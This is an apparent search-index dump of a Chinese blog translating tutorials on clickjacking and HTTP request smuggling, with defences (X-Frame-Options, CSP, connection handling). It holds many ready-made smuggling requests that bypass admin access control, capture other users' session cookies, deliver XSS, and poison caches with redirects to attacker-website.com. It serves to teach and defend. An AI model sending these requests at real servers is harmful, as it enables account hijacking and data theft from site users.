JavaScript ,浏览器的安全设置也可能会阻止它们的运行,甚至浏览器直接不支持 JavaScript 。攻击者也可以使用 HTML5 iframe 的 sandbox 属性去规避 frame 拦截。当 iframe 的 sandbox 设置为 allow-forms 或 allow-scripts,且 allow-top-navigation 被忽略时,frame 拦截脚本可能就不起作用了,因为 iframe 无法检查它是否是顶部窗口: \u003ciframe id=\"victim_website\" src=\"https://victim-website.com\" sandbox=\"allow-forms\"\u003e\u003c/iframe\u003e 当 iframe 的 allow-forms 和 allow-scripts 被设置,且 top-level 导航被禁用,这会抑制 frame 拦截行为,同时允许目标站内的功能。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:4:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"结合使用点击劫持与 DOM XSS 攻击 到目前为止,我们把点击劫持看作是一种独立的攻击。从历史上看,点击劫持被用来执行诸如在 Facebook 页面上增加“点赞”之类的行为。然而,当点击劫持被用作另一种攻击的载体,如 DOM XSS 攻击,才能发挥其真正的破坏性。假设攻击者首先发现了 XSS 攻击的漏洞,则实施这种组合攻击就很简单了,只需要将 iframe 的目标 URL 结合 XSS ,以使用户点击按钮或链接,从而执行 DOM XSS 攻击。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:5:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"多步骤点击劫持 攻击者操作目标网站的输入可能需要执行多个操作。例如,攻击者可能希望诱骗用户从零售网站购买商品,而在下单之前还需要将商品添加到购物篮中。为了实现这些操作,攻击者可能使用多个视图或 iframe ,这也需要相当的精确性,攻击者必须非常小心。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:6:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"如何防御点击劫持攻击 我们在上文中已经讨论了一种浏览器端的预防机制,即 frame 拦截脚本。然而,攻击者通常也很容易绕过这种防御。因此,服务端驱动的协议被设计了出来,以限制浏览器 iframe 的使用并减轻点击劫持的风险。 点击劫持是一种浏览器端的行为,它的成功与否取决于浏览器的功能以及是否遵守现行 web 标准和最佳实践。服务端的防御措施就是定义 iframe 组件使用的约束,然而,其实现仍然取决于浏览器是否遵守并强制执行这些约束。服务端针对点击劫持的两种保护机制分别是 X-Frame-Options 和 Content Security Policy 。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:7:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"X-Frame-Options X-Frame-Options 最初由 IE8 作为非官方的响应头引入,随后也在其他浏览器中被迅速采用。X-Frame-Options 头为网站所有者提供了对 iframe 使用的控制(就是说第三方网站不能随意的使用 iframe 嵌入你控制的网站),比如你可以使用 deny 直接拒绝所有 iframe 引用你的网站: X-Frame-Options: deny 或者使用 sameorigin 限制为只有同源网站可以引用: X-Frame-Options: sameorigin 或者使用 allow-from 指定白名单: X-Frame-Options: allow-from https://normal-website.com X-Frame-Options 在不同浏览器中的实现并不一致(比如,Chrome 76 或 Safari 12 不支持 allow-from)。然而,作为多层防御策略中的一部分,其与 Content Security Policy 结合使用时,可以有效地防止点击劫持攻击。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:8:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"Content Security Policy Content Security Policy (CSP) 内容安全策略是一种检测和预防机制,可以缓解 XSS 和点击劫持等攻击。CSP 通常是由 web 服务作为响应头返回,格式为: Content-Security-Policy: policy 其中的 policy 是一个由分号分隔的策略指令字符串。CSP 向客户端浏览器提供有关允许的 Web 资源来源的信息,浏览器可以将这些资源应用于检测和拦截恶意行为。 有关点击劫持的防御,建议在 Content-Security-Policy 中增加 frame-ancestors 策略。 frame-ancestors 'none' 类似于 X-Frame-Options: deny ,表示拒绝所有 iframe 引用。 frame-ancestors 'self' 类似于 X-Frame-Options: sameorigin ,表示只允许同源引用。 示例: Content-Security-Policy: frame-ancestors 'self'; 或者指定网站白名单: Content-Security-Policy: frame-ancestors normal-website.com; 为了有效地防御点击劫持和 XSS 攻击,CSP 需要进行仔细的开发、实施和测试,并且应该作为多层防御策略中的一部分使用。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:9:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"web 安全之 HTTP request smuggling","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"HTTP request smuggling 在本节中,我们将解释什么是 HTTP 请求走私,并描述常见的请求走私漏洞是如何产生的。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/:0:0","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"什么是 HTTP 请求走私 HTTP 请求走私是一种干扰网站处理多个 HTTP 请求序列的技术。请求走私漏洞危害很大,它使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/:1:0","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"HTTP 请求走私到底发生了什么 现在的应用架构中经常会使用诸如负载均衡、反向代理、网关等服务,这些服务在链路上起到了一个转发请求给后端服务器的作用,因为位置位于后端服务器的前面,所以本文把他们称为前端服务器。 当前端服务器(转发服务)将 HTTP 请求转发给后端服务器时,它通常会通过与后端服务器之间的同一个网络连接发送多个请求,因为这样做更加高效。协议非常简单:HTTP 请求被一个接一个地发送,接受请求的服务器则解析 HTTP 请求头以确定一个请求的结束位置和下一个请求的开始位置,如下图所示: 在这种情况下,前端服务器(转发服务)与后端系统必须就请求的边界达成一致。否则,攻击者可能会发送一个模棱两可的请求,该请求被前端服务器(转发服务)与后端系统以不同的方式解析: 如上图所示,攻击者使上一个请求的一部分被后端服务器解析为下一个请求的开始,这时就会干扰应用程序处理该请求的方式。这就是请求走私攻击,其可能会造成毁灭性的后果。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/:2:0","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"HTTP 请求走私漏洞是怎么产生的 绝大多数 HTTP 请求走私漏洞的出现是因为 HTTP 规范提供了两种不同的方法来指定请求的结束位置:Content-Length 头和 Transfer-Encoding 头。 Content-Length 头很简单,直接以字节为单位指定消息体的长度。例如: POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling Transfer-Encoding 头则可以声明消息体使用了 chunked 编码,就是消息体被拆分成了一个或多个分块传输,每个分块的开头是当前分块大小(以十六进制表示),后面紧跟着 \\r\\n,然后是分块内容,后面也是 \\r\\n。消息的终止分块也是同样的格式,只是其长度为零。例如: POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked b q=smuggling 0 由于 HTTP 规范提供了两种不同的方法来指定 HTTP 消息的长度,因此单个消息中完全可以同时使用这两种方法,从而使它们相互冲突。HTTP 规范为了避免这种歧义,其声明如果 Content-Length 和 Transfer-Encoding 同时存在,则 Content-Length 应该被忽略。当只有一个服务运行时,这种歧义似乎可以避免,但是当多个服务被连接在一起时,这种歧义就无法避免了。在这种情况下,出现问题有两个原因: 某些服务器不支持请求中的 Transfer-Encoding 头。 某些服务器虽然支持 Transfer-Encoding 头,但是可以通过某种方式进行混淆,以诱导不处理此标头。 如果前端服务器(转发服务)和后端服务器处理 Transfer-Encoding 的行为不同,则它们可能在连续请求之间的边界上存在分歧,从而导致请求走私漏洞。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/:3:0","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"如何进行 HTTP 请求走私攻击 请求走私攻击需要在 HTTP 请求头中同时使用 Content-Length 和 Transfer-Encoding,以使前端服务器(转发服务)和后端服务器以不同的方式处理该请求。具体的执行方式取决于两台服务器的行为: CL.TE:前端服务器(转发服务)使用 Content-Length 头,而后端服务器使用 Transfer-Encoding 头。 TE.CL:前端服务器(转发服务)使用 Transfer-Encoding 头,而后端服务器使用 Content-Length 头。 TE.TE:前端服务器(转发服务)和后端服务器都使用 Transfer-Encoding 头,但是可以通过某种方式混淆标头来诱导其中一个服务器不对其进行处理。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/:4:0","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"CL.TE 漏洞 前端服务器(转发服务)使用 Content-Length 头,而后端服务器使用 Transfer-Encoding 头。我们可以构造一个简单的 HTTP 请求走私攻击,如下所示: POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 13 Transfer-Encoding: chunked 0 SMUGGLED 前端服务器(转发服务)使用 Content-Length 确定这个请求体的长度是 13 个字节,直到 SMUGGLED 的结尾。然后请求被转发给了后端服务器。 后端服务器使用 Transfer-Encoding ,把请求体当成是分块的,然后处理第一个分块,刚好又是长度为零的终止分块,因此直接认为消息结束了,而后面的 SMUGGLED 将不予处理,并将其视为下一个请求的开始。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/:4:1","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"TE.CL 漏洞 前端服务器(转发服务)使用 Transfer-Encoding 头,而后端服务器使用 Content-Length 头。我们可以构造一个简单的 HTTP 请求走私攻击,如下所示: POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 3 Transfer-Encoding: chunked 8 SMUGGLED 0 注意:上面的 0 后面还有 \\r\\n\\r\\n 。 前端服务器(转发服务)使用 Transfer-Encoding 将消息体当作分块编码,第一个分块的长度是 8 个字节,内容是 SMUGGLED,第二个分块的长度是 0 ,也就是终止分块,所以这个请求到这里终止,然后被转发给了后端服务。 后端服务使用 Content-Length ,认为消息体只有 3 个字节,也就是 8\\r\\n,而剩下的部分将不会处理,并视为下一个请求的开始。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/:4:2","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"TE.TE 混淆 TE 头 前端服务器(转发服务)和后端服务器都使用 Transfer-Encoding 头,但是可以通过某种方式混淆标头来诱导其中一个服务器不对其进行处理。 混淆 Transfer-Encoding 头的方式可能无穷无尽。例如: Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[tab]chunked [space]Transfer-Encoding: chunked X: X[\\n]Transfer-Encoding: chunked Transfer-Encoding : chunked 这些技术中的每一种都与 HTTP 规范有细微的不同。实现协议规范的实际代码很少以绝对的精度遵守协议规范,并且不同的实现通常会容忍与协议规范的不同变化。要找到 TE.TE 漏洞,必须找到 Transfer-Encoding 标头的某种变体,以便前端服务器(转发服务)或后端服务器其中之一正常处理,而另外一个服务器则将其忽略。 根据可以混淆诱导不处理 Transfer-Encoding 的是前端服务器(转发服务)还是后端服务,而后的攻击方式则与 CL.TE 或 TE.CL 漏洞相同。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/:5:0","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"如何防御 HTTP 请求走私漏洞 当前端服务器(转发服务)通过同一个网络连接将多个请求转发给后端服务器,且前端服务器(转发服务)与后端服务器对请求边界存在不一致的判定时,就会出现 HTTP 请求走私漏洞。防御 HTTP 请求走私漏洞的一些通用方法如下: 禁用到后端服务器连接的重用,以便每个请求都通过单独的网络连接发送。 对后端服务器连接使用 HTTP/2 ,因为此协议可防止对请求之间的边界产生歧义。 前端服务器(转发服务)和后端服务器使用完全相同的 Web 软件,以便它们就请求之间的界限达成一致。 在某些情况下,可以通过使前端服务器(转发服务)规范歧义请求或使后端服务器拒绝歧义请求并关闭网络连接来避免漏洞。然而这种方法比上面的通用方法更容易出错。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/http-request-smuggling/:6:0","tags":[],"title":"web 安全之 HTTP request smuggling","uri":"/translation/web-security/request-smuggling/http-request-smuggling/"},{"categories":["web security"],"content":"Exploiting request smuggling","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/exploiting-request-smuggling/","tags":[],"title":"Exploiting request smuggling","uri":"/translation/web-security/request-smuggling/exploiting-request-smuggling/"},{"categories":["web security"],"content":"利用 HTTP 请求走私漏洞 在本节中,我们将描述 HTTP 请求走私漏洞的几种利用方法,这也取决于应用程序的预期功能和其他行为。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/exploiting-request-smuggling/:0:0","tags":[],"title":"Exploiting request smuggling","uri":"/translation/web-security/request-smuggling/exploiting-request-smuggling/"},{"categories":["web security"],"content":"利用 HTTP 请求走私漏洞绕过前端服务器(转发服务)安全控制 在某些应用程序中,前端服务器(转发服务)不仅用来转发请求,也用来实现了一些安全控制,以决定单个请求能否被转发到后端处理,而后端服务认为接受到的所有请求都已经通过了安全验证。 假设,某个应用程序使用前端服务器(转发服务)来做访问控制,只有当用户被授权访问的请求才会被转发给后端服务器,后端服务器接受的所有请求都无需进一步检查。在这种情况下,可以使用 HTTP 请求走私漏洞绕过访问控制,将请求走私到后端服务器。 假设当前用户可以访问 /home ,但不能访问 /admin 。他们可以使用以下请求走私攻击绕过此限制: POST /home HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 62 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: vulnerable-website.com Foo: xGET /home HTTP/1.1 Host: vulnerable-website.com 前端服务器(转发服务)将其视为一个请求,然后进行访问验证,由于用户拥有访问 /home 的权限,因此把请求转发给后端服务器。然而,后端服务器则将其视为 /home 和 /admin 两个单独的请求,并且认为请求都通过了权限验证,此时 /admin 的访问控制实际上就被绕过了。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/exploiting-request-smuggling/:1:0","tags":[],"title":"Exploiting request smuggling","uri":"/translation/web-security/request-smuggling/exploiting-request-smuggling/"},{"categories":["web security"],"content":"前端服务器(转发服务)对请求重写 在许多应用程序中,请求被转发给后端服务之前会进行一些重写,通常是添加一些额外的请求头之类的。例如,转发请求重写可能: 终止 TLS 连接并添加一些描述使用的协议和密钥之类的头。 添加 X-Forwarded-For 头用来标记用户的 IP 地址。 根据用户的会话令牌确定用户 ID ,并添加用于标识用户的头。 添加一些其他攻击感兴趣的敏感信息。 在某些情况下,如果你走私的请求缺少一些前端服务器(转发服务)添加的头,那么后端服务可能不会正常处理,从而导致走私请求无法达到预期的效果。 通常有一些简单的方法可以准确地得知前端服务器(转发服务)是如何重写请求的。为此,需要执行以下步骤: 找到一个将请求参数的值反映到应用程序响应中的 POST 请求。 随机排列参数,以使反映的参数出现在消息体的最后。 将这个请求走私到后端服务器,然后直接发送一个要显示其重写形式的普通请求。 假设应用程序有个登录的功能,其会反映 email 参数: POST /login HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 28 email=wiener@normal-user.net 响应内容包括: \u003cinput id=\"email\" value=\"wiener@normal-user.net\" type=\"text\"\u003e 此时,你可以使用以下请求走私攻击来揭示前端服务器(转发服务)对请求的重写: POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 130 Transfer-Encoding: chunked 0 POST /login HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 100 email=POST /login HTTP/1.1 Host: vulnerable-website.com ... 前端服务器(转发服务)将会重写请求以添加标头,然后后端服务器将处理走私请求,并将第二个请求当作 email 参数的值,且在响应中反映出来: \u003cinput id=\"email\" value=\"POST /login HTTP/1.1 Host: vulnerable-website.com X-Forwarded-For: 1.3.3.7 X-Forwarded-Proto: https X-TLS-Bits: 128 X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256 X-TLS-Version: TLSv1.2 x-nr-external-service: external ... 注意:由于最后的请求正在重写,你不知道它需要多长时间结束。走私请求中的 Content-Length 头的值将决定后端服务器处理请求的时间。如果将此值设置得太短,则只会收到部分重写请求;如果设置得太长,后端服务器将会等待超时。当然,解决方案是猜测一个比提交的请求稍大一点的初始值,然后逐渐增大该值以检索更多信息,直到获得感兴趣的所有内容。 一旦了解了转发服务器如何重写请求,就可以对走私的请求进行必要的调整,以确保后端服务器以预期的方式对其进行处理。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/exploiting-request-smuggling/:2:0","tags":[],"title":"Exploiting request smuggling","uri":"/translation/web-security/request-smuggling/exploiting-request-smuggling/"},{"categories":["web security"],"content":"捕获其他用户的请求 如果应用程序包含存储和检索文本数据的功能,那么可以使用 HTTP 请求走私去捕获其他用户请求的内容。这些内容可能包括会话令牌(捕获后可以进行会话劫持攻击),或其他用户提交的敏感数据。被攻击的功能通常有评论、电子邮件、个人资料、显示昵称等等。 要进行攻击,您需要走私一个将数据提交到存储功能的请求,其中包含该数据的参数位于请求的最后。后端服务器处理的下一个请求将追加到走私请求后,结果将存储另一个用户的原始请求。 假设某个应用程序通过如下请求提交博客帖子评论,该评论将存储并显示在博客上: POST /post/comment HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 154 Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0\u0026postId=2\u0026comment=My+comment\u0026name=Carlos+Montoya\u0026email=carlos%40normal-user.net\u0026website=https%3A%2F%2Fnormal-user.net 你可以执行以下请求走私攻击,目的是让后端服务器将下一个用户请求当作评论内容进行存储并展示: GET / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 324 0 POST /post/comment HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 400 Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0\u0026postId=2\u0026name=Carlos+Montoya\u0026email=carlos%40normal-user.net\u0026website=https%3A%2F%2Fnormal-user.net\u0026comment= 当下一个用户请求被后端服务器处理时,它将被附加到走私的请求后,结果就是用户的请求,包括会话 cookie 和其他敏感信息会被当作评论内容处理: POST /post/comment HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 400 Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0\u0026postId=2\u0026name=Carlos+Montoya\u0026email=carlos%40normal-user.net\u0026website=https%3A%2F%2Fnormal-user.net\u0026comment=GET / HTTP/1.1 Host: vulnerable-website.com Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj ... 最后,直接通过正常的查看评论的方式就能看到其他用户请求的详细信息了。 注意:这种技术的局限性是,它通常只会捕获一直到走私请求边界符的数据。对于 URL 编码的表单提交,其是 \u0026 字符,这意味着存储的受害用户的请求是直到第一个 \u0026 之间的内容。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/exploiting-request-smuggling/:3:0","tags":[],"title":"Exploiting request smuggling","uri":"/translation/web-security/request-smuggling/exploiting-request-smuggling/"},{"categories":["web security"],"content":"使用 HTTP 请求走私进行反射型 XSS 攻击 如果应用程序既存在 HTTP 请求走私漏洞,又存在反射型 XSS 漏洞,那么你可以使用请求走私攻击应用程序的其他用户。这种方法在两个方面优于一般的反射型 XSS 攻击方式: 它不需要与受害用户交互。你不需要给受害用户发送一个钓鱼链接,然后等待他们访问。你只需要走私一个包含 XSS 有效负载的请求,由后端服务器处理的下一个用户的请求就会命中。 它可以在请求的某些部分(如 HTTP 请求头)中利用 XSS 攻击,而这在正常的反射型 XSS 攻击中无法轻易控制。 假设某个应用程序在 User-Agent 头上存在反射型 XSS 漏洞,那么你可以通过如下所示的请求走私利用此漏洞: POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 63 Transfer-Encoding: chunked 0 GET / HTTP/1.1 User-Agent: \u003cscript\u003ealert(1)\u003c/script\u003e Foo: X 此时,下一个用户的请求将被附加到走私的请求后,且他们将在响应中接收到反射型 XSS 的有效负载。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/exploiting-request-smuggling/:4:0","tags":[],"title":"Exploiting request smuggling","uri":"/translation/web-security/request-smuggling/exploiting-request-smuggling/"},{"categories":["web security"],"content":"利用 HTTP 请求走私将站内重定向转换为开放重定向 许多应用程序根据请求的 HOST 头进行站内 URL 的重定向。一个示例是 Apache 和 IIS Web 服务器的默认行为,其中对不带斜杠的目录的请求将重定向到带斜杠的同一个目录: GET /home HTTP/1.1 Host: normal-website.com HTTP/1.1 301 Moved Permanently Location: https://normal-website.com/home/ 通常,此行为被认为是无害的,但是可以在请求走私攻击中利用它来将其他用户重定向到外部域。例如: POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 54 Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: X 走私请求将会触发一个到攻击者站点的重定向,这将影响到后端服务处理的下一个用户的请求,例如: GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/ 此时,如果用户请求的是一个在 web 站点导入的 JavaScript 文件,那么攻击者可以通过在响应中返回自己的 JavaScript 来完全控制受害用户。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/exploiting-request-smuggling/:5:0","tags":[],"title":"Exploiting request smuggling","uri":"/translation/web-security/request-smuggling/exploiting-request-smuggling/"},{"categories":["web security"],"content":"利用 HTTP 请求走私进行 web cache poisoning 上述攻击的一个变体就是利用 HTTP 请求走私去进行 web cache 投毒。如果前端基础架构中的任何部分使用 cache 缓存,那么可能使用站外重定向响应来破坏缓存。这种攻击的效果将会持续存在,随后对受污染的 URL 发起请求的所有用户都会中招。 在这种变体攻击中,攻击者发送以下内容到前端服务器: POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 59 Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /static/include.js HTTP/1.1 Host: vulnerable-website.com 后端服务器像之前一样进行站外重定向对走私请求进行响应。前端服务器认为是第二个请求的 URL 的响应,然后进行缓存: /static/include.js: GET /static/include.js HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/ 从此刻开始,当其他用户请求此 URL 时,他们都会收到指向攻击者网站的重定向。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/exploiting-request-smuggling/:6:0","tags":[],"title":"Exploiting request smuggling","uri":"/translation/web-security/request-smuggling/exploiting-request-smuggling/"},{"categories":["web security"],"content":"利用 HTTP 请求走私进行 web cache poisoning 另一种攻击变体就是利用 HTTP 请求走私去进行 web cache 欺骗。这与 web cache 投毒的方式类似,但目的不同。 web cache poisoning(缓存中毒) 和 web cache deception(缓存欺骗) 有什么区别? 对于 web cache poisoning(缓存中毒),攻击者会使应用程序在缓存中存储一些恶意内容,这些内容将从缓存提供给其他用户。 对于 web cache deception(缓存欺骗),攻击者使应用程序在缓存中存储属于另一个用户的某些敏感内容,然后攻击者从缓存中检索这些内容。 这种攻击中,攻击者发起一个返回用户特定敏感内容的走私请求。例如: POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 43 Transfer-Encoding: chunked 0 GET /private/messages HTTP/1.1 Foo: X 来自另一个用户的请求被后端服务器被附加到走私请求后,包括会话 cookie 和其他标头。例如: GET /private/messages HTTP/1.1 Foo: X GET /static/some-image.png HTTP/1.1 Host: vulnerable-website.com Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z ... 后端服务器以正常方式响应此请求。这个请求是用来获取用户的私人消息的,且会在受害用户会话的上下文中被正常处理。前端服务器根据第二个请求中的 URL 即 /static/some-image.png 缓存了此响应: GET /static/some-image.png HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 200 Ok ... \u003ch1\u003eYour private messages\u003c/h1\u003e ... 然后,攻击者访问静态 URL,并接收从缓存返回的敏感内容。 这里的一个重要警告是,攻击者不知道敏感内容将会缓存到哪个 URL 地址,因为这个 URL 地址是受害者用户在走私请求生效时恰巧碰到的。攻击者可能需要获取大量静态 URL 来发现捕获的内容。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/exploiting-request-smuggling/:7:0","tags":[],"title":"Exploiting request smuggling","uri":"/translation/web-security/request-smuggling/exploiting-request-smuggling/"},{"categories":["web security"],"content":"Finding request smuggling","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/finding-request-smuggling/","tags":[],"title":"Finding request smuggling","uri":"/translation/web-security/request-smuggling/finding-request-smuggling/"},{"categories":["web security"],"content":"查找 HTTP 请求走私漏洞 在本节中,我们将介绍用于查找 HTTP 请求走私漏洞的不同技术。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/finding-request-smuggling/:0:0","tags":[],"title":"Finding request smuggling","uri":"/translation/web-security/request-smuggling/finding-request-smuggling/"},{"categories":["web security"],"content":"计时技术 检测 HTTP 请求走私漏洞的最普遍有效的方法就是计时技术。发送请求,如果存在漏洞,则应用程序的响应会出现时间延迟。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/finding-request-smuggling/:1:0","tags":[],"title":"Finding request smuggling","uri":"/translation/web-security/request-smuggling/finding-request-smuggling/"},{"categories":["web security"],"content":"使用计时技术查找 CL.TE 漏洞 如果应用存在 CL.TE 漏洞,那么发送如下请求通常会导致时间延迟: POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 4 1 A X 前端服务器(转发服务)使用 Content-Length 认为消息体只有 4 个字节,即 1\\r\\nA,因此后面的 X 被忽略了,然后把这个请求转发给后端。而后端服务使用 Transfer-Encoding 则会一直等待终止分块 0\\r\\n 。这就会导致明显的响应延迟。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/finding-request-smuggling/:1:1","tags":[],"title":"Finding request smuggling","uri":"/translation/web-security/request-smuggling/finding-request-smuggling/"},{"categories":["web security"],"content":"使用计时技术查找 TE.CL 漏洞 如果应用存在 TE.CL 漏洞,那么发送如下请求通常会导致时间延迟: POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 6 0 X 前端服务器(转发服务)使用 Transfer-Encoding,由于第一个分块就是 0\\r\\n 终止分块,因此后面的 X 直接被忽略了,然后把这个请求转发给后端。而后端服务使用 Content-Length 则会一直等到后续 6 个字节的内容。这就会导致明显的延迟。 注意:如果应用程序易受 CL.TE 漏洞的攻击,则基于时间的 TE.CL 漏洞测试可能会干扰其他应用程序用户。因此,为了隐蔽并尽量减少干扰,你应该先进行 CL.TE 测试,只有在失败了之后再进行 TE.CL 测试。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/finding-request-smuggling/:1:2","tags":[],"title":"Finding request smuggling","uri":"/translation/web-security/request-smuggling/finding-request-smuggling/"},{"categories":["web security"],"content":"使用差异响应确认 HTTP 请求走私漏洞 当检测到可能的请求走私漏洞时,可以通过利用该漏洞触发应用程序响应内容的差异来获取该漏洞进一步的证据。这包括连续向应用程序发送两个请求: 一个攻击请求,旨在干扰下一个请求的处理。 一个正常请求。 如果对正常请求的响应包含预期的干扰,则漏洞被确认。 例如,假设正常请求如下: POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling 这个请求通常会收到状态码为 200 的 HTTP 响应,响应内容包含一些搜索结果。 攻击请求则取决于请求走私是 CL.TE 还是 TE.CL 。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/finding-request-smuggling/:2:0","tags":[],"title":"Finding request smuggling","uri":"/translation/web-security/request-smuggling/finding-request-smuggling/"},{"categories":["web security"],"content":"使用差异响应确认 CL.TE 漏洞 为了确认 CL.TE 漏洞,你可以发送如下攻击请求: POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 49 Transfer-Encoding: chunked e q=smuggling\u0026x= 0 GET /404 HTTP/1.1 Foo: x 如果攻击成功,则最后两行会被后端服务视为下一个请求的开头。这将导致紧接着的一个正常的请求变成了如下所示: GET /404 HTTP/1.1 Foo: xPOST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling 由于这个请求的 URL 现在是一个无效的地址,因此服务器将会作出 404 的响应,这表明攻击请求确实产生了干扰。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/finding-request-smuggling/:2:1","tags":[],"title":"Finding request smuggling","uri":"/translation/web-security/request-smuggling/finding-request-smuggling/"},{"categories":["web security"],"content":"使用差异响应确认 TE.CL 漏洞 为了确认 